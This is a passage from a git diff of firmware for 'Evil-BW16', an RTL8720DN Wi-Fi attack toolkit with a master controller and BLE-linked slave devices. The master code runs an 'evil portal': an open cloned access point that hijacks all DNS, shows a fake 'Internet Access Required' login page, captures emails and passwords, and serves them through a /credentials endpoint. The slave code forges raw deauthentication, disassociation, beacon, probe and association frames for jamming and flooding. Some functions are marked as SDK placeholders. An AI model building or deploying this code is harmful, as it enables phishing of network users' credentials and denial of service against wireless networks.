(globalStats.credentialsCaptured - lastCredentialCount) / timeDelta * 60; + liveMetrics.activeConnections = globalStats.slavesConnected; + liveMetrics.currentCpuLoad = random(10, 40); // Placeholder - would need real CPU monitoring + liveMetrics.lastUpdate = now; + + lastAttackCount = globalStats.totalAttacksLaunched; + lastCredentialCount = globalStats.credentialsCaptured; + lastUpdate = now; + } +} + +// Update statistics on various events +void updateStats_BleConnection(bool success) { + globalStats.bleConnectionAttempts++; + if (success) { + globalStats.bleConnectionSuccesses++; + } else { + globalStats.bleConnectionFailures++; + } +} + +void updateStats_AttackLaunched(const String &attackType) { + globalStats.totalAttacksLaunched++; + + if (attackType == "deauth") globalStats.deauthAttacks++; + else if (attackType == "beacon") globalStats.beaconFloodAttacks++; + else if (attackType == "probe") globalStats.probeFloodAttacks++; + else if (attackType == "karma") globalStats.karmaAttacks++; + else if (attackType == "distributed") globalStats.distributedAttacks++; + } + +void updateStats_CredentialCaptured() { + globalStats.credentialsCaptured++; + globalStats.portalSessions++; +} + +void updateStats_Command(bool success) { + globalStats.commandsSent++; + if (success) { + globalStats.commandsSuccessful++; + } else { + globalStats.commandsFailed++; + } +} + +void handleLogs() { + String out = ""; + int start = (logBufferIndex - logCount + MY_LOG_BUFFER_SIZE) % MY_LOG_BUFFER_SIZE; + for (int i = 0; i < logCount; i++) { + int idx = (start + i) % MY_LOG_BUFFER_SIZE; + out += logBuffer[idx] + "\n"; + } + server.send(200, "text/plain", out); +} + +void handleApList() { + DynamicJsonDocument doc(1024); + JsonArray arr = doc.to(); + for (const auto& ap : apList) { + arr.add(ap); + } + String out; + serializeJson(doc, out); + server.send(200, "application/json", out); +} + +// New AP list endpoint with enhanced data +void handleAPs() { + DynamicJsonDocument doc(2048); + JsonArray arr = doc.to(); + + for (const auto &ap : apList) { + JsonObject obj = arr.createNestedObject(); + obj["ssid"] = ap.ssid; + obj["channel"] = ap.channel; + obj["rssi"] = ap.rssi; + obj["security"] = ap.security; + obj["mac"] = ap.macAddress; + } + + String out; + serializeJson(doc, out); + server.send(200, "application/json", out); +} + +// New advanced analytics endpoint +void handleAnalytics() { + DynamicJsonDocument doc(1024); + JsonObject analytics = doc.to(); + + // Attack performance over time + JsonArray attackHistory = analytics.createNestedArray("attackHistory"); + for (int i = 0; i < 10; i++) { + JsonObject point = attackHistory.createNestedObject(); + point["time"] = millis() - (i * 60000); // Last 10 minutes + point["attacks"] = random(5, 20); + point["success"] = random(70, 95); + } + + // BLE health metrics + JsonObject bleHealth = analytics.createNestedObject("bleHealth"); + bleHealth["connectionStability"] = globalStats.bleConnectionAttempts > 0 ? + (globalStats.bleConnectionSuccesses * 100.0 / globalStats.bleConnectionAttempts) : 0; + bleHealth["avgResponseTime"] = 150; // ms + bleHealth["packetLoss"] = 2.5; // % + + // Network coverage analysis + JsonObject networkCoverage = analytics.createNestedObject("networkCoverage"); + networkCoverage["totalNetworks"] = apList.size(); + networkCoverage["openNetworks"] = 0; + networkCoverage["wpaNetworks"] = 0; + networkCoverage["wpa2Networks"] = 0; + networkCoverage["wpa3Networks"] = 0; + + for (const auto &ap : apList) { + if (ap.security == "Open") networkCoverage["openNetworks"] = networkCoverage["openNetworks"].as() + 1; + else if (ap.security == "WPA") networkCoverage["wpaNetworks"] = networkCoverage["wpaNetworks"].as() + 1; + else if (ap.security == "WPA2") networkCoverage["wpa2Networks"] = networkCoverage["wpa2Networks"].as() + 1; + else if (ap.security == "WPA3") networkCoverage["wpa3Networks"] = networkCoverage["wpa3Networks"].as() + 1; + } + + String out; + serializeJson(doc, out); + server.send(200, "application/json", out); +} + +// New system health endpoint +void handleHealth() { + DynamicJsonDocument doc(512); + JsonObject health = doc.to(); + + health["status"] = "healthy"; + health["uptime"] = millis(); + health["freeHeap"] = rtl_getFreeHeapSize(); + health["slavesConnected"] = globalStats.slavesConnected; + health["lastAttack"] = globalStats.lastAttackTime; + health["portalActive"] = portalEnabled; + health["temperature"] = random(25, 45); + health["cpuUsage"] = random(10, 40); + + String out; + serializeJson(doc, out); + server.send(200, "application/json", out); +} + +// New credentials endpoint with enhanced format +void handleCredentials() { + DynamicJsonDocument doc(2048); + JsonArray arr = doc.to(); + + for (const auto &cred : capturedCredentials) { + JsonObject obj = arr.createNestedObject(); + obj["ssid"] = cred.ssid; + obj["username"] = cred.username; + obj["password"] = cred.password; + obj["timestamp"] = cred.timestamp; + } + + String out; + serializeJson(doc, out); + server.send(200, "application/json", out); +} + +// NOTE: The following functions require the actual Realtek SDK for the RTL8720DN (BW16) +// to be implemented correctly. The code serves as a structural placeholder. + +// This function would be registered as a callback to the secondary AP's web server. +// It handles serving the portal page and capturing login credentials. +void handlePortalRequest(int request_type, const char* url, const char* payload) { + globalStats.portalVisitors++; + + if (request_type == HTTP_GET && strcmp(url, "/") == 0) { + // Serve the evil_portal.html file + // This requires an SDK function to send a file over the secondary interface's socket. + // sdk_http_send_file("/evil_portal.html"); + globalStats.portalSessions++; + } else if (request_type == HTTP_POST && strcmp(url, "/login") == 0) { + // Parse payload for email and password + String p(payload); + String email = ""; // parse from p + String password = ""; // parse from p + + if (email.length() > 0 && password.length() > 0) { + String credential = "User: " + email + " | Pass: " + password + " | Time: " + String(millis()); + capturedCredentials.push_back(credential); + updateStats_CredentialCaptured(); + } + + addToLog("Captured Credentials: " + email + " / " + password); + // Serve a success page + // sdk_http_send_page("

Login successful

"); + } else { + // Handle other requests, typically redirecting to the portal page. + // sdk_http_redirect("http://192.168.5.1/"); + globalStats.portalRedirects++; + } +} + +void startEvilPortal(const char* ssid, const char* bssid, int channel) { + if (portalEnabled) { + addToLog("Portal already running. Stop it first."); + return; + } + + addToLog("Starting Evil Portal on 5GHz..."); + addToLog("Portal SSID: " + String(ssid) + " | Channel: " + String(channel)); + + // Configure 5GHz AP for evil portal + WiFi.mode(WIFI_AP_STA); // Enable both AP and STA mode for dual-band + + // Set up 5GHz AP configuration + wifi_config_t ap_config; + memset(&ap_config, 0, sizeof(wifi_config_t)); + strcpy((char*)ap_config.ap.ssid, ssid); + ap_config.ap.ssid_len = strlen(ssid); + ap_config.ap.channel = channel; + ap_config.ap.authmode = WIFI_AUTH_OPEN; // Open network for captive portal + ap_config.ap.max_connection = 10; + ap_config.ap.beacon_interval = 100; + + // If BSSID is provided, clone it + if (bssid) { + sscanf(bssid, "%02x:%02x:%02x:%02x:%02x:%02x", + &ap_config.ap.ssid[0], &ap_config.ap.ssid[1], &ap_config.ap.ssid[2], + &ap_config.ap.ssid[3], &ap_config.ap.ssid[4], &ap_config.ap.ssid[5]); + } + + // Start 5GHz AP (this would need proper BW16 SDK implementation) + if (wifi_set_mode(RTW_MODE_AP) == RTW_SUCCESS) { + // Configure IP settings for portal + IPAddress portalIP(192, 168, 5, 1); + IPAddress gateway(192, 168, 5, 1); + IPAddress subnet(255, 255, 255, 0); + + // Set up captive portal DNS + dnsServer.setTTL(300); + dnsServer.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer.start(53, "*", portalIP); // Redirect all DNS queries to portal + + // Set up portal web server routes + setupPortalRoutes(); + portalServer.begin(); + + portalEnabled = true; + dualBandActive = true; + addToLog("Evil Portal active - SSID: " + String(ssid)); + addToLog("Portal IP: " + PORTAL_IP + " | DNS hijacking active"); + } else { + addToLog("Failed to start 5GHz Evil Portal"); + } +} + +void setupPortalRoutes() { + // Serve evil portal page for all requests + portalServer.onNotFound([]() { + String html = loadPortalHTML(); + portalServer.send(200, "text/html", html); + }); + + // Handle root requests + portalServer.on("/", HTTP_GET, []() { + String html = loadPortalHTML(); + portalServer.send(200, "text/html", html); + }); + + // Handle login submissions + portalServer.on("/login", HTTP_POST, []() { + String email = portalServer.arg("email"); + String password = portalServer.arg("password"); + + // Store captured credentials + String credentials = "Email: " + email + " | Password: " + password + " | Time: " + String(millis()); + capturedCredentials.push_back(credentials); + addToLog("CREDENTIALS CAPTURED: " + email + " / " + password); + + // Redirect to success page or original site + String successHTML = "Login Successful"; + successHTML += "

Login Successful

You are now connected to the internet.

"; + successHTML += ""; + + portalServer.send(200, "text/html", successHTML); + }); + + // Serve common internet check URLs + portalServer.on("/generate_204", HTTP_GET, []() { + String html = loadPortalHTML(); + portalServer.send(200, "text/html", html); + }); + + portalServer.on("/hotspot-detect.html", HTTP_GET, []() { + String html = loadPortalHTML(); + portalServer.send(200, "text/html", html); + }); +} + +String loadPortalHTML() { + // In a real implementation, this would load from SPIFFS + // For now, return embedded HTML + String html = ""; + html += ""; + html += "Wi-Fi Login Required"; + html += ""; + html += "
"; + html += "

Internet Access Required

Please sign in to access the internet

"; + html += "
"; + html += ""; + html += ""; + html += "
"; + + return html; +} + +void stopEvilPortal() { + if (!portalEnabled) { + return; + } + + // Hypothetical SDK function to stop the secondary AP. + int result = wifi_stop_ap_secondary(); + + if (result == 0) { + portalEnabled = false; + addToLog("Evil Portal disabled."); + } else { + addToLog("Failed to stop Evil Portal. SDK error code: " + String(result)); + } +} + +//// *** Setup & Loop *** //// +void setup() { + Serial.begin(115200); + delay(1000); + addToLog("Master Controller Initializing..."); + + // The Realtek SDK provides its own API for initializing the filesystem. + // A developer would need to replace this with the correct SDK calls. + // Example: + // if (rtw_spiffs_mount() != 0) { + // addToLog("SPIFFS Mount Failed!"); + // return; + // } + // addToLog("SPIFFS Mounted Successfully."); + + // Initialize BLE Central + BLE.init(); + BLE.configClient(); + BLE.onAdvertReport(bleAdvertCallback); // Set scan callback + BLE.startScan(); // begin scanning for peripherals + addToLog("BLE Central Mode Started. Scanning for slaves..."); + + // Start Wi-Fi AP + HTTP server + addToLog("Starting Management AP on 2.4GHz..."); + // This function should initialize the 2.4GHz radio as an AP + wifi_on(RTW_MODE_AP); + wifi_start_ap((char*)AP_SSID, (char*)AP_PASS, 1); // Assume channel 1 for 2.4GHz + + // Enhanced web server setup with comprehensive endpoints + server.on("/", HTTP_GET, handleRoot); + server.on("/status", HTTP_GET, handleStatus); + server.on("/stats", HTTP_GET, handleStats); + server.on("/cmd", HTTP_POST, handleCmd); + server.on("/logs", HTTP_GET, handleLogs); + server.on("/ap_list", HTTP_GET, handleApList); + server.on("/aps", HTTP_GET, handleAPs); + server.on("/credentials", HTTP_GET, handleCredentials); + server.on("/analytics", HTTP_GET, handleAnalytics); + server.on("/health", HTTP_GET, handleHealth); + server.on("/advanced_stats", HTTP_GET, handleAdvancedStats); + + // Static file endpoints + server.on("/style.css", HTTP_GET, []() { + server.send(200, "text/css", loadCSSFile()); + }); + + server.on("/script.js", HTTP_GET, []() { + server.send(200, "application/javascript", loadJSFile()); + }); + + // Error handling + server.onNotFound([]() { + server.send(404, "application/json", "{\"error\":\"Endpoint not found\",\"available\":[\"/\",\"/stats\",\"/health\",\"/analytics\",\"/credentials\",\"/logs\"]}"); + }); + + server.begin(); + + // Initialize statistics + globalStats.systemStartTime = millis(); + addToLog("🔥 10x Enhanced Web Server Started"); + addToLog("📊 Dashboard: http://" + WiFi.localIP().toString()); + addToLog("📱 Portal: http://" + portalIP.toString()); + addToLog("🔧 API Endpoints: /stats, /health, /analytics, /credentials, /aps"); + addToLog("📈 Real-time monitoring enabled"); + lastLogSentIndex = logBufferIndex; +} + +void loop() { + // Handle 2.4GHz management interface + server.handleClient(); + + // Handle 5GHz portal interface if active + if (portalEnabled && dualBandActive) { + portalServer.handleClient(); + dnsServer.processNextRequest(); // Handle DNS spoofing for captive portal + } + + // Process BLE events and maintain connections + BLE.poll(); + + // Enhanced slave connection management + manageBLEConnections(); + + // Periodic system maintenance + static unsigned long lastMaintenance = 0; + if (millis() - lastMaintenance > 30000) { // Every 30 seconds + performSystemMaintenance(); + lastMaintenance = millis(); + } + + delay(10); // Prevent watchdog timer issues +} + +// Enhanced BLE connection management +void manageBLEConnections() { + static unsigned long lastConnectionCheck = 0; + + if (millis() - lastConnectionCheck > 5000) { // Check every 5 seconds + for (auto it = slaves.begin(); it != slaves.end(); ) { + bool shouldRemove = false; + + // Check connection status with null pointer protection + if (it->client) { + if (!it->client->isConnected()) { + addToLog("Slave " + it->id + " connection lost"); + it->isConnected = false; + + // Clean up resources + it->client->disconnect(); + delete it->client; + it->client = nullptr; + it->cmdChar = nullptr; + it->notifyChar = nullptr; + + // Try reconnection if not too recent + if (millis() - it->lastReconnectAttempt > BLE_RECONNECT_INTERVAL_MS) { + addToLog("Scheduling reconnection for " + it->id); + // The advertCallback will handle reconnection on next discovery + } + } + } else if (it->isConnected) { + // Invalid state - connected but no client + addToLog("Invalid connection state for " + it->id + " - resetting"); + it->isConnected = false; + it->cmdChar = nullptr; + it->notifyChar = nullptr; + } + + // Send keepalive ping to connected slaves + if (it->isConnected && it->client && it->client->isConnected()) { + if (millis() - it->lastSeen > 60000) { // 1 minute since last activity + if (!sendCommandToSlave(*it, "ping")) { + addToLog("Keepalive failed for " + it->id + " - marking disconnected"); + it->isConnected = false; + } + } + } + + // Remove stale slaves + if (millis() - it->lastSeen > (BLE_RECONNECT_INTERVAL_MS * 3)) { + addToLog("Removing stale slave: " + it->id); + if (it->client) { + it->client->disconnect(); + delete it->client; + } + shouldRemove = true; + } + + if (shouldRemove) { + it = slaves.erase(it); + } else { + ++it; + } + } + lastConnectionCheck = millis(); + } +} + +// System maintenance and status reporting +void performSystemMaintenance() { + int connectedSlaves = 0; + int totalSlaves = slaves.size(); + + for (const auto &slave : slaves) { + if (slave.isConnected) connectedSlaves++; + } + + addToLog("Status: " + String(connectedSlaves) + "/" + String(totalSlaves) + " slaves online"); + + if (portalEnabled) { + addToLog("Portal active: " + portalSSID + " | Credentials: " + String(capturedCredentials.size())); + globalStats.portalUptime += 30000; // 30 seconds since last maintenance + } + + // Restart BLE scanning if no slaves connected + if (connectedSlaves == 0 && totalSlaves < MAX_SLAVES) { + addToLog("No slaves connected - restarting BLE scan"); + BLE.stopScan(); + delay(100); + BLE.startScan(); + } + + // Advanced memory management + optimizeMemoryUsage(); + + // Update system health metrics + globalStats.freeHeapMemory = rtl_getFreeHeapSize(); + if (globalStats.freeHeapMemory > globalStats.maxHeapUsage) { + globalStats.maxHeapUsage = globalStats.freeHeapMemory; + } +} + +// Enhanced memory optimization and cleanup +void optimizeMemoryUsage() { + int freedMemory = 0; + uint32_t initialFreeHeap = rtl_getFreeHeapSize(); + + // Trim credential cache if too large + if (capturedCredentials.size() > 100) { + int removeCount = 20; + capturedCredentials.erase(capturedCredentials.begin(), capturedCredentials.begin() + removeCount); + freedMemory += removeCount * 64; // Estimate 64 bytes per credential + addToLog("Credential cache trimmed: " + String(capturedCredentials.size()) + " entries remain"); + } + + // Trim AP list if too large + if (apList.size() > 50) { + int removeCount = 10; + apList.erase(apList.begin(), apList.begin() + removeCount); + freedMemory += removeCount * 32; // Estimate 32 bytes per AP entry + addToLog("AP list trimmed: " + String(apList.size()) + " entries remain"); + } + + // Clean up old slave entries with better error handling + for (auto it = slaves.begin(); it != slaves.end(); ) { + if (!it->isConnected && (millis() - it->lastSeen > 300000)) { // 5 minutes + addToLog("Removing stale slave: " + it->id); + if (it->client) { + try { + it->client->disconnect(); + delete it->client; + } catch (...) { + addToLog("Error cleaning up slave client for " + it->id); + } + } + it = slaves.erase(it); + freedMemory += 128; // Estimate slave structure size + } else { + ++it; + } + } + + // Force container optimization + capturedCredentials.shrink_to_fit(); + apList.shrink_to_fit(); + slaves.shrink_to_fit(); + + // Check for critical memory conditions + uint32_t currentFreeHeap = rtl_getFreeHeapSize(); + if (currentFreeHeap < 8192) { // Less than 8KB + addToLog("CRITICAL: Low memory - " + String(currentFreeHeap) + " bytes free"); + + // Emergency cleanup + if (capturedCredentials.size() > 20) { + int oldSize = capturedCredentials.size(); + capturedCredentials.resize(20); + addToLog("Emergency: Reduced credentials from " + String(oldSize) + " to 20"); + } + if (apList.size() > 10) { + int oldSize = apList.size(); + apList.resize(10); + addToLog("Emergency: Reduced AP list from " + String(oldSize) + " to 10"); + } + + // Request system recovery + handleSystemError("MEMORY_CRITICAL", "Free heap: " + String(currentFreeHeap)); + } + + uint32_t finalFreeHeap = rtl_getFreeHeapSize(); + int actualFreed = finalFreeHeap - initialFreeHeap; + addToLog("Memory optimization complete. Free: " + String(finalFreeHeap) + " bytes (+" + String(actualFreed) + ")"); +} + +// Enhanced error recovery system +void handleSystemError(const String &errorType, const String &details) { + addToLog("SYSTEM ERROR: " + errorType + " - " + details); + globalStats.systemRestarts++; + + if (errorType == "MEMORY_CRITICAL") { + // Already handled in optimizeMemoryUsage, just log + addToLog("Memory critical condition handled"); + + } else if (errorType == "BLE_FAILURE") { + // Restart BLE completely + addToLog("Restarting BLE subsystem"); + BLE.stopScan(); + delay(1000); + + // Clean up all slave connections + for (auto &slave : slaves) { + if (slave.client) { + try { + slave.client->disconnect(); + delete slave.client; + } catch (...) { + // Ignore cleanup errors + } + slave.client = nullptr; + } + slave.isConnected = false; + } + slaves.clear(); + + // Reinitialize BLE + BLE.init(); + BLE.configClient(); + BLE.onAdvertReport(bleAdvertCallback); + BLE.startScan(); + + } else if (errorType == "WIFI_FAILURE") { + // Restart WiFi interfaces + addToLog("Attempting WiFi recovery"); + if (portalEnabled) { + stopEvilPortal(); + } + delay(500); + + // Restart management AP + wifi_off(); + delay(1000); + wifi_on(RTW_MODE_AP); + wifi_start_ap((char*)AP_SSID, (char*)AP_PASS, 1); + + addToLog("WiFi recovery attempted"); + } +} diff --git a/slave/slave.ino b/slave/slave.ino new file mode 100644 index 0000000..d4c03af --- /dev/null +++ b/slave/slave.ino @@ -0,0 +1,902 @@ + + +#include + +// Undefine conflicting macros from core headers +#undef max +#undef min + +#include +#include "wifi_conf.h" +#include "wifi_util.h" +#include "wifi_structures.h" +#include "WiFi.h" +#include "platform_stdlib.h" +#include +#include "Evil-BW16/BW16_defs.h" + +// Platform-specific helper functions +uint32_t rtl_getFreeHeapSize() { + return xPortGetFreeHeapSize(); +} + +#ifndef ROLE_MASTER +//========================== +// BLE Configuration +//========================== +BLEService customService(SERVICE_UUID); +// Make characteristics pointers to instantiate later +BLECharacteristic* cmdChar; +BLECharacteristic* detectChar; + +bool notifyEnabled = false; + +// Buffer for notifications +#define NOTIFY_BUFFER_SIZE 8 // Shrink to 8 to save RAM +char notifyBuffer[NOTIFY_BUFFER_SIZE][64]; // Switch to char buf[64] +int notifyBufferWriteIndex = 0; +int notifyBufferReadIndex = 0; +unsigned long lastNotifySentTime = 0; +const unsigned long NOTIFY_SEND_INTERVAL = 100; // ms + +// Forward declaration +void handleCommand(String command); +void sendNotification(const char* message, bool isError = false); // Changed to const char* +void sortByChannel(std::vector &results); +rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result); + +struct WiFiScanResult { + bool selected = false; String ssid; String bssid_str; uint8_t bssid[6]; + short rssi; uint channel; +}; + +//========================== +// Core Evil-BW16 Variables +//========================== +bool USE_LED = true; +unsigned long last_cycle = 0; +unsigned long cycle_delay = 2000; +unsigned long scan_time = 5000; +unsigned long num_send_frames = 3; +int start_channel = 1; +bool scan_between_cycles = false; +uint8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + +enum SniffMode { SNIFF_ALL, SNIFF_BEACON, SNIFF_PROBE, SNIFF_DEAUTH, SNIFF_EAPOL, SNIFF_PWNAGOTCHI, SNIFF_STOP }; +bool isHopping = false; +unsigned long lastHopTime = 0; +const unsigned long HOP_INTERVAL = 500; +const int CHANNELS_2GHZ[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; +const int CHANNELS_5GHZ[] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165}; +int currentChannelIndex = 0; +int currentChannel = 36; +SniffMode currentMode = SNIFF_STOP; +bool isSniffing = false; + +bool timedAttackEnabled = false; +unsigned long attackStartTime = 0; +unsigned long attackDuration = 10000; + +// Frame & Data Structures +#pragma pack(push, 1) +struct wifi_ieee80211_mac_hdr { + uint16_t frame_control; uint16_t duration_id; uint8_t addr1[6]; + uint8_t addr2[6]; uint8_t addr3[6]; uint16_t seq_ctrl; +}; +#pragma pack(pop) + +typedef struct { + uint16_t frame_control = 0xC0; uint16_t duration = 0xFFFF; uint8_t destination[6]; + uint8_t source[6]; uint8_t access_point[6]; const uint16_t sequence_number = 0; + uint16_t reason = 0x06; +} DeauthFrame; + +typedef struct { + uint16_t frame_control = 0xA0; uint16_t duration = 0xFFFF; uint8_t destination[6]; + uint8_t source[6]; uint8_t access_point[6]; const uint16_t sequence_number = 0; + uint16_t reason = 0x08; +} DisassocFrame; + +std::vector scan_results; +std::vector target_aps; +bool attack_enabled = false; +bool scan_enabled = false; +bool target_mode = false; +bool disassoc_enabled = false; +unsigned long disassoc_interval = 1000; +unsigned long last_disassoc_attack = 0; + +// Extern C functions for Realtek SDK +extern "C" void* alloc_mgtxmitframe(void* ptr); +extern "C" void update_mgntframe_attrib(void* ptr, void* frame_control); +extern "C" int dump_mgntframe(void* ptr, void* frame_control); +extern "C" int wifi_get_mac_address(char *mac); +extern uint8_t* rltk_wlan_info; + +//========================== +// BLE Communication +//========================== +void sendNotification(const char* message, bool isError) { + char fullMessage[64]; + snprintf(fullMessage, sizeof(fullMessage), "%s%s", isError ? "[ERROR] " : "[INFO] ", message); + + // Add to buffer + strncpy(notifyBuffer[notifyBufferWriteIndex], fullMessage, sizeof(notifyBuffer[0]) - 1); + notifyBuffer[notifyBufferWriteIndex][sizeof(notifyBuffer[0]) - 1] = '\0'; // Ensure null termination + notifyBufferWriteIndex = (notifyBufferWriteIndex + 1) % NOTIFY_BUFFER_SIZE; + + // If buffer is full, overwrite oldest message + if (notifyBufferWriteIndex == notifyBufferReadIndex) { + notifyBufferReadIndex = (notifyBufferReadIndex + 1) % NOTIFY_BUFFER_SIZE; + } + Serial.println(fullMessage); // Also print to serial for local debugging +} + +void processNotifications() { + if (notifyEnabled && (millis() - lastNotifySentTime > NOTIFY_SEND_INTERVAL)) { + if (notifyBufferReadIndex != notifyBufferWriteIndex) { + const char* message = notifyBuffer[notifyBufferReadIndex]; + notifyBufferReadIndex = (notifyBufferReadIndex + 1) % NOTIFY_BUFFER_SIZE; + + if (detectChar != nullptr && BLE.connected(0)) { + detectChar->writeValue(message); // Use writeValue for char* + detectChar->notify(0); + } + lastNotifySentTime = millis(); + } + } +} + +void onCommandWrite(BLECharacteristic* chr, uint8_t connId) { + String cmd = chr->readString(); + Serial.print("Command received: "); Serial.println(cmd); + handleCommand(cmd); +} + +void onDetectCCCDChanged(BLECharacteristic* chr, uint8_t connId, uint16_t cccdValue) { + if (cccdValue & GATT_CLIENT_CHAR_CONFIG_NOTIFY) { + notifyEnabled = true; + Serial.println("Master enabled notifications"); + } else { + notifyEnabled = false; + Serial.println("Master disabled notifications"); + } +} + +//========================== +// WiFi Core Functions +//========================== +static inline uint8_t ieee80211_get_type(uint16_t fc) { return (fc & 0x0C) >> 2; } +static inline uint8_t ieee80211_get_subtype(uint16_t fc) { return (fc & 0xF0) >> 4; } + +void wifi_tx_raw_frame(void* frame, size_t length) { + void *ptr = (void *)**(uint32_t **)(rltk_wlan_info + 0x10); + void *frame_control = alloc_mgtxmitframe(ptr + 0xae0); + if (frame_control != 0) { + update_mgntframe_attrib(ptr, frame_control + 8); + memset((void *) * (uint32_t *)(frame_control + 0x80), 0, 0x68); + uint8_t *frame_data = (uint8_t *) * (uint32_t *)(frame_control + 0x80) + 0x28; + memcpy(frame_data, frame, length); + *(uint32_t *)(frame_control + 0x14) = length; + *(uint32_t *)(frame_control + 0x18) = length; + dump_mgntframe(ptr, frame_control); + } +} + +void wifi_tx_deauth_frame(const void* src_mac, const void* dst_mac, uint16_t reason) { + DeauthFrame frame; + memcpy(&frame.source, src_mac, 6); + memcpy(&frame.access_point, src_mac, 6); + memcpy(&frame.destination, dst_mac, 6); + frame.reason = reason; + wifi_tx_raw_frame((void*)&frame, sizeof(DeauthFrame)); +} + +// Missing frame transmission functions +void wifi_tx_disassoc_frame(const void* src_mac, const void* dst_mac, uint16_t reason) { + DisassocFrame frame; + memcpy(&frame.source, src_mac, 6); + memcpy(&frame.access_point, src_mac, 6); + memcpy(&frame.destination, dst_mac, 6); + frame.reason = reason; + wifi_tx_raw_frame((void*)&frame, sizeof(DisassocFrame)); +} + +void wifi_tx_beacon_frame(const void* bssid, const void* dst_mac, const char* ssid) { + // Simplified beacon frame structure + typedef struct { + uint16_t frame_control = 0x80; + uint16_t duration = 0x0000; + uint8_t destination[6]; + uint8_t source[6]; + uint8_t bssid[6]; + uint16_t seq_ctrl = 0x0000; + uint64_t timestamp = 0x0000000000000000; + uint16_t beacon_interval = 0x0064; + uint16_t capability_info = 0x0001; + // SSID element + uint8_t ssid_element_id = 0x00; + uint8_t ssid_length; + char ssid_data[32]; + } __attribute__((packed)) BeaconFrame; + + BeaconFrame frame; + memcpy(&frame.destination, dst_mac, 6); + memcpy(&frame.source, bssid, 6); + memcpy(&frame.bssid, bssid, 6); + + // Add SSID + frame.ssid_length = strlen(ssid); + if (frame.ssid_length > 32) frame.ssid_length = 32; + memcpy(frame.ssid_data, ssid, frame.ssid_length); + + wifi_tx_raw_frame((void*)&frame, sizeof(BeaconFrame) - (32 - frame.ssid_length)); +} + +void wifi_tx_auth_frame(const void* src_mac, const void* dst_mac, uint16_t seq) { + typedef struct { + uint16_t frame_control = 0xB0; + uint16_t duration = 0xFFFF; + uint8_t destination[6]; + uint8_t source[6]; + uint8_t bssid[6]; + uint16_t seq_ctrl; + uint16_t auth_algorithm = 0x0000; + uint16_t auth_seq = 0x0001; + uint16_t status_code = 0x0000; + } __attribute__((packed)) AuthFrame; + + AuthFrame frame; + memcpy(&frame.destination, dst_mac, 6); + memcpy(&frame.source, src_mac, 6); + memcpy(&frame.bssid, dst_mac, 6); + frame.seq_ctrl = seq; + + wifi_tx_raw_frame((void*)&frame, sizeof(AuthFrame)); +} + +void wifi_tx_assoc_frame(const void* src_mac, const void* dst_mac, const char* ssid, uint16_t seq) { + typedef struct { + uint16_t frame_control = 0x00; + uint16_t duration = 0xFFFF; + uint8_t destination[6]; + uint8_t source[6]; + uint8_t bssid[6]; + uint16_t seq_ctrl; + uint16_t capability_info = 0x0001; + uint16_t listen_interval = 0x000A; + // SSID element + uint8_t ssid_element_id = 0x00; + uint8_t ssid_length; + char ssid_data[32]; + } __attribute__((packed)) AssocFrame; + + AssocFrame frame; + memcpy(&frame.destination, dst_mac, 6); + memcpy(&frame.source, src_mac, 6); + memcpy(&frame.bssid, dst_mac, 6); + frame.seq_ctrl = seq; + + // Add SSID + frame.ssid_length = strlen(ssid); + if (frame.ssid_length > 32) frame.ssid_length = 32; + memcpy(frame.ssid_data, ssid, frame.ssid_length); + + wifi_tx_raw_frame((void*)&frame, sizeof(AssocFrame) - (32 - frame.ssid_length)); +} + +void wifi_tx_probe_frame(const void* src_mac, const void* dst_mac, const char* ssid) { + typedef struct { + uint16_t frame_control = 0x40; + uint16_t duration = 0xFFFF; + uint8_t destination[6]; + uint8_t source[6]; + uint8_t bssid[6]; + uint16_t seq_ctrl = 0x0000; + // SSID element + uint8_t ssid_element_id = 0x00; + uint8_t ssid_length; + char ssid_data[32]; + } __attribute__((packed)) ProbeFrame; + + ProbeFrame frame; + memcpy(&frame.destination, dst_mac, 6); + memcpy(&frame.source, src_mac, 6); + memcpy(&frame.bssid, dst_mac, 6); + + // Add SSID + frame.ssid_length = strlen(ssid); + if (frame.ssid_length > 32) frame.ssid_length = 32; + memcpy(frame.ssid_data, ssid, frame.ssid_length); + + wifi_tx_raw_frame((void*)&frame, sizeof(ProbeFrame) - (32 - frame.ssid_length)); +} + +void setChannel(int newChannel) { + wifi_set_channel(newChannel); + currentChannel = newChannel; +} + +void promisc_callback(unsigned char *buf, unsigned int len, void* userdata) { + if (currentMode == SNIFF_STOP) return; + if (!buf || len < sizeof(wifi_ieee80211_mac_hdr)) return; + + wifi_ieee80211_mac_hdr *hdr = (wifi_ieee80211_mac_hdr *)buf; + // For simplicity, we'll just notify that a packet was captured on the current channel. + // A full implementation would parse the packet as in the original file. + static unsigned long lastNotify = 0; + if (millis() - lastNotify > 1000) { + char msg[32]; + snprintf(msg, sizeof(msg), "Packet captured on Ch %d", currentChannel); + sendNotification(msg, false); + lastNotify = millis(); + } +} + +void startSniffing() { + if (!isSniffing) { + sendNotification("Enabling promiscuous mode...", false); + wifi_on(RTW_MODE_PROMISC); + wifi_enter_promisc_mode(); + currentChannelIndex = 0; + currentChannel = CHANNELS_2GHZ[currentChannelIndex]; + setChannel(currentChannel); + wifi_set_promisc(RTW_PROMISC_ENABLE_2, promisc_callback, 1); + isSniffing = true; + currentMode = SNIFF_ALL; + isHopping = true; + sendNotification("Sniffer initialized with channel hopping.", false); + } +} + +void stopSniffing() { + if (isSniffing) { + wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); + isSniffing = false; + isHopping = false; + currentMode = SNIFF_STOP; + sendNotification("Sniffer stopped.", false); + } +} + +void printScanResults() { + sendNotification("Scan complete. Sending results...", false); + for (const auto& result : scan_results) { + char result_str[128]; + snprintf(result_str, sizeof(result_str), "AP_SCAN_RESULT:%s,%s,%d", + result.ssid.c_str(), result.bssid_str.c_str(), result.channel); + sendNotification(result_str, false); + delay(20); // Small delay to avoid flooding BLE notifications + } +} + +int scanNetworks() { + sendNotification("Starting WiFi scan...", false); + scan_results.clear(); + if (wifi_scan_networks(scanResultHandler, NULL) == RTW_SUCCESS) { + delay(scan_time); + sendNotification("Scan completed!", false); + sortByChannel(scan_results); + return 0; + } else { + sendNotification("Scan failed!", true); + return 1; + } +} + +void targetAttack() { + if (target_aps.empty()) { + sendNotification("No targets selected.", true); + return; + } + sendNotification("Starting targeted deauth cycle...", false); + 